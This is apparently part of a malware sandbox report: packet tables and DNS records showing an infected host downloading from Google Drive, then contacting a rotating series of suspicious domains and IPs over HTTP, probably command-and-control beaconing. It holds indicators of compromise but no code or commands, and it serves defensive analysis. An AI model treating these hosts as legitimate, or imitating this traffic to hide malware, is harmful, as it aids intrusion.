Nov 21, 2022 19:25:22.648268938 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:22.648627043 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.648679018 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.648849964 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.649013042 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.651160002 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.652481079 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.655241013 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.811069012 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.811132908 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.811470032 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.811527014 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.811882019 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.951284885 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.951361895 CET	80	49912	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:22.951657057 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:23.328345060 CET	49912	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:24.343875885 CET	49913	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:24.507689953 CET	80	49913	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:24.507983923 CET	49913	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:24.508055925 CET	49913	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:24.671665907 CET	80	49913	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:24.779979944 CET	80	49913	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:24.780023098 CET	80	49913	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:24.780302048 CET	49913	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:24.780436993 CET	49913	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:25:24.943967104 CET	80	49913	66.29.151.40	192.168.11.20
Nov 21, 2022 19:25:29.797277927 CET	49914	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:29.933459044 CET	80	49914	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:29.933916092 CET	49914	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:29.934031963 CET	49914	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:30.073663950 CET	80	49914	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:30.073774099 CET	80	49914	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:30.073846102 CET	80	49914	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:30.073960066 CET	49914	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:30.074390888 CET	80	49914	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:30.074481964 CET	80	49914	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:30.074713945 CET	49914	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:30.075084925 CET	49914	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:30.936161995 CET	49914	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:31.951529026 CET	49915	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:32.086060047 CET	80	49915	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:32.086464882 CET	49915	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:32.086532116 CET	49915	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:32.261699915 CET	80	49915	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:33.075741053 CET	80	49915	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:33.075831890 CET	80	49915	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:33.075901985 CET	80	49915	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:33.076163054 CET	49915	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:33.076294899 CET	80	49915	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:33.076423883 CET	80	49915	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:33.076581955 CET	49915	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:33.076581955 CET	49915	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:33.091869116 CET	49915	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.107372046 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.240952969 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.241149902 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.241780043 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.241842031 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.241880894 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.375230074 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375250101 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375258923 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375416040 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375427008 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375457048 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.375483036 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.375525951 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375538111 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375557899 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.375591040 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.375602007 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.375760078 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.375864029 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.376008987 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.376213074 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.419528008 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.509299994 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509371996 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509418011 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509468079 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509514093 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509561062 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509573936 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.509607077 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509654045 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509660006 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.509699106 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.509725094 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:34.509746075 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643122911 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643228054 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643248081 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643286943 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643446922 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643573999 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643588066 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643697977 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643822908 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643836975 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643848896 CET	80	49916	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:34.643989086 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:35.247595072 CET	49916	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:36.263220072 CET	49917	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:36.397835970 CET	80	49917	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:36.398196936 CET	49917	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:36.398196936 CET	49917	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:36.533879042 CET	80	49917	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:36.533967018 CET	80	49917	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:36.534372091 CET	49917	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:36.534498930 CET	49917	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:25:36.668998003 CET	80	49917	45.33.23.183	192.168.11.20
Nov 21, 2022 19:25:41.575345993 CET	49919	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:41.589730978 CET	80	49919	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:41.589951038 CET	49919	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:41.590118885 CET	49919	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:41.604356050 CET	80	49919	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:41.610172033 CET	80	49919	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:41.610230923 CET	80	49919	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:41.610470057 CET	49919	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:42.598443031 CET	49919	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:43.609406948 CET	49920	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:43.623384953 CET	80	49920	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:43.623554945 CET	49920	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:43.623673916 CET	49920	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:43.637553930 CET	80	49920	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:43.642837048 CET	80	49920	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:43.642956972 CET	80	49920	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:43.643105030 CET	49920	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:44.624536991 CET	49920	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.638158083 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.652510881 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.652780056 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.653367043 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.653418064 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.653465986 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.667537928 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.667593956 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.667725086 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.667769909 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.667789936 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.667885065 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.667895079 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.667957067 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.668035984 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.668097973 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.668114901 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.668204069 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.668212891 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.668354988 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.668415070 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.668576956 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.681809902 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.681895018 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.681915045 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682086945 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.682154894 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682183981 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682228088 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.682285070 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682307005 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682379961 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682429075 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.682518959 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682538033 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682563066 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682565928 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:45.682787895 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682934999 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.682974100 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.683073997 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696459055 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696485996 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696502924 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696521044 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696732998 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696758032 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696775913 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.696979046 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.697037935 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.697057962 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.697074890 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.699820042 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.699851990 CET	80	49921	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:45.700076103 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:46.665168047 CET	49921	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:47.668361902 CET	49922	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:47.682605028 CET	80	49922	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:47.682775974 CET	49922	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:47.682972908 CET	49922	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:47.696934938 CET	80	49922	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:47.702331066 CET	80	49922	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:47.702351093 CET	80	49922	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:47.702764988 CET	49922	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:47.702831984 CET	49922	80	192.168.11.20	217.160.0.1
Nov 21, 2022 19:25:47.716898918 CET	80	49922	217.160.0.1	192.168.11.20
Nov 21, 2022 19:25:52.773705006 CET	49923	80	192.168.11.20	96.43.100.185
Nov 21, 2022 19:25:53.785130024 CET	49923	80	192.168.11.20	96.43.100.185
Nov 21, 2022 19:25:55.793350935 CET	49923	80	192.168.11.20	96.43.100.185
Nov 21, 2022 19:25:59.808063984 CET	49923	80	192.168.11.20	96.43.100.185
Nov 21, 2022 19:26:07.821882010 CET	49923	80	192.168.11.20	96.43.100.185
Nov 21, 2022 19:26:14.851809025 CET	49923	80	192.168.11.20	96.43.100.185
Nov 21, 2022 19:26:15.851483107 CET	49923	80	192.168.11.20	96.43.100.185

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2022 19:18:35.493346930 CET	55901	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:18:35.502964020 CET	53	55901	1.1.1.1	192.168.11.20
Nov 21, 2022 19:18:36.112219095 CET	63786	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:18:36.161132097 CET	53	63786	1.1.1.1	192.168.11.20
Nov 21, 2022 19:20:01.463752031 CET	49243	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:20:01.745240927 CET	53	49243	1.1.1.1	192.168.11.20
Nov 21, 2022 19:20:17.053335905 CET	49583	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:20:17.237447023 CET	53	49583	1.1.1.1	192.168.11.20
Nov 21, 2022 19:20:28.909107924 CET	61996	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:20:29.231910944 CET	53	61996	1.1.1.1	192.168.11.20
Nov 21, 2022 19:20:41.468679905 CET	61055	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:20:41.793445110 CET	53	61055	1.1.1.1	192.168.11.20
Nov 21, 2022 19:21:03.573359013 CET	51639	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:21:03.919292927 CET	53	51639	1.1.1.1	192.168.11.20
Nov 21, 2022 19:21:15.820621967 CET	62599	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:21:16.041558027 CET	53	62599	1.1.1.1	192.168.11.20
Nov 21, 2022 19:21:27.865325928 CET	60127	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:21:28.099550009 CET	53	60127	1.1.1.1	192.168.11.20
Nov 21, 2022 19:21:39.315855026 CET	53146	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:21:39.665604115 CET	53	53146	1.1.1.1	192.168.11.20
Nov 21, 2022 19:21:51.673074007 CET	51011	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:21:51.688684940 CET	53	51011	1.1.1.1	192.168.11.20
Nov 21, 2022 19:21:59.749109983 CET	60988	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:21:59.936533928 CET	53	60988	1.1.1.1	192.168.11.20
Nov 21, 2022 19:22:11.964452028 CET	58390	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:22:12.179430008 CET	53	58390	1.1.1.1	192.168.11.20
Nov 21, 2022 19:22:23.369260073 CET	57355	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:22:23.404802084 CET	53	57355	1.1.1.1	192.168.11.20
Nov 21, 2022 19:22:34.584777117 CET	56431	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:22:34.597623110 CET	53	56431	1.1.1.1	192.168.11.20
Nov 21, 2022 19:22:42.646064043 CET	51151	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:22:43.014297009 CET	53	51151	1.1.1.1	192.168.11.20
Nov 21, 2022 19:22:55.394001961 CET	57938	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:22:55.544795990 CET	53	57938	1.1.1.1	192.168.11.20
Nov 21, 2022 19:23:06.905802965 CET	56046	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:23:07.372371912 CET	53	56046	1.1.1.1	192.168.11.20
Nov 21, 2022 19:25:09.722239017 CET	56029	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:25:09.734272957 CET	53	56029	1.1.1.1	192.168.11.20
Nov 21, 2022 19:25:41.544147015 CET	51733	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:25:41.574528933 CET	53	51733	1.1.1.1	192.168.11.20
Nov 21, 2022 19:25:52.714576006 CET	51143	53	192.168.11.20	1.1.1.1
Nov 21, 2022 19:25:52.773005962 CET	53	51143	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2022 19:18:35.493346930 CET	192.168.11.20	1.1.1.1	0xccea	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:18:36.112219095 CET	192.168.11.20	1.1.1.1	0xfaa9	Standard query (0)	doc-00-7s-docs.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.463752031 CET	192.168.11.20	1.1.1.1	0x2078	Standard query (0)	www.labour-office.com	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:17.053335905 CET	192.168.11.20	1.1.1.1	0x11b	Standard query (0)	www.searchbot.su	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:28.909107924 CET	192.168.11.20	1.1.1.1	0x8237	Standard query (0)	www.youlian.fund	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:41.468679905 CET	192.168.11.20	1.1.1.1	0x87f3	Standard query (0)	www.royaltechglobal.com	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:03.573359013 CET	192.168.11.20	1.1.1.1	0x8c7c	Standard query (0)	www.xiaoxiuzhen.com	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:15.820621967 CET	192.168.11.20	1.1.1.1	0xb34e	Standard query (0)	www.gumba.shop	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:27.865325928 CET	192.168.11.20	1.1.1.1	0x78c	Standard query (0)	www.botbillionsblaze.website	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:39.315855026 CET	192.168.11.20	1.1.1.1	0x7e89	Standard query (0)	www.005404.com	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:51.673074007 CET	192.168.11.20	1.1.1.1	0x9312	Standard query (0)	www.westinotion.tech	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:59.749109983 CET	192.168.11.20	1.1.1.1	0x3002	Standard query (0)	www.gouldent.site	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:11.964452028 CET	192.168.11.20	1.1.1.1	0x1750	Standard query (0)	www.apidachicago.org	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:23.369260073 CET	192.168.11.20	1.1.1.1	0x83f0	Standard query (0)	www.funknive.ch	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:34.584777117 CET	192.168.11.20	1.1.1.1	0xa098	Standard query (0)	www.noprostatit.store	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:42.646064043 CET	192.168.11.20	1.1.1.1	0xb4bf	Standard query (0)	www.xn--29-oj9ik7b890b.net	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:55.394001961 CET	192.168.11.20	1.1.1.1	0x12ba	Standard query (0)	www.phootka.ru	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:23:06.905802965 CET	192.168.11.20	1.1.1.1	0xc107	Standard query (0)	www.wellnessprodia.com	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:25:09.722239017 CET	192.168.11.20	1.1.1.1	0xdff3	Standard query (0)	www.westinotion.tech	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:25:41.544147015 CET	192.168.11.20	1.1.1.1	0xa6af	Standard query (0)	www.codemars.academy	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:25:52.714576006 CET	192.168.11.20	1.1.1.1	0xfd16	Standard query (0)	www.plentywindshield.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2022 19:18:35.502964020 CET	1.1.1.1	192.168.11.20	0xccea	No error (0)	drive.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:18:36.161132097 CET	1.1.1.1	192.168.11.20	0xfaa9	No error (0)	doc-00-7s-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2022 19:18:36.161132097 CET	1.1.1.1	192.168.11.20	0xfaa9	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.161	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		45.33.23.183	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		96.126.123.244	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		198.58.118.167	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		45.33.18.44	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		45.33.20.235	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		173.255.194.134	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		45.33.2.79	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		72.14.185.43	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		72.14.178.174	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		45.79.19.196	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		45.33.30.197	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:01.745240927 CET	1.1.1.1	192.168.11.20	0x2078	No error (0)	www.labour-office.com		45.56.79.23	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:17.237447023 CET	1.1.1.1	192.168.11.20	0x11b	No error (0)	www.searchbot.su		45.130.41.24	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:29.231910944 CET	1.1.1.1	192.168.11.20	0x8237	No error (0)	www.youlian.fund		154.204.24.45	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:20:41.793445110 CET	1.1.1.1	192.168.11.20	0x87f3	No error (0)	www.royaltechglobal.com	royaltechglobal.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2022 19:20:41.793445110 CET	1.1.1.1	192.168.11.20	0x87f3	No error (0)	royaltechglobal.com		192.185.32.157	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:03.919292927 CET	1.1.1.1	192.168.11.20	0x8c7c	No error (0)	www.xiaoxiuzhen.com		38.55.15.214	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:16.041558027 CET	1.1.1.1	192.168.11.20	0xb34e	No error (0)	www.gumba.shop		3.13.90.76	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:16.041558027 CET	1.1.1.1	192.168.11.20	0xb34e	No error (0)	www.gumba.shop		18.117.28.81	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:16.041558027 CET	1.1.1.1	192.168.11.20	0xb34e	No error (0)	www.gumba.shop		3.19.100.43	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:28.099550009 CET	1.1.1.1	192.168.11.20	0x78c	No error (0)	www.botbillionsblaze.website	botbillionsblaze.website		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2022 19:21:28.099550009 CET	1.1.1.1	192.168.11.20	0x78c	No error (0)	botbillionsblaze.website		2.57.90.16	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:39.665604115 CET	1.1.1.1	192.168.11.20	0x7e89	No error (0)	www.005404.com		103.63.2.175	A (IP address)	IN (0x0001)	false
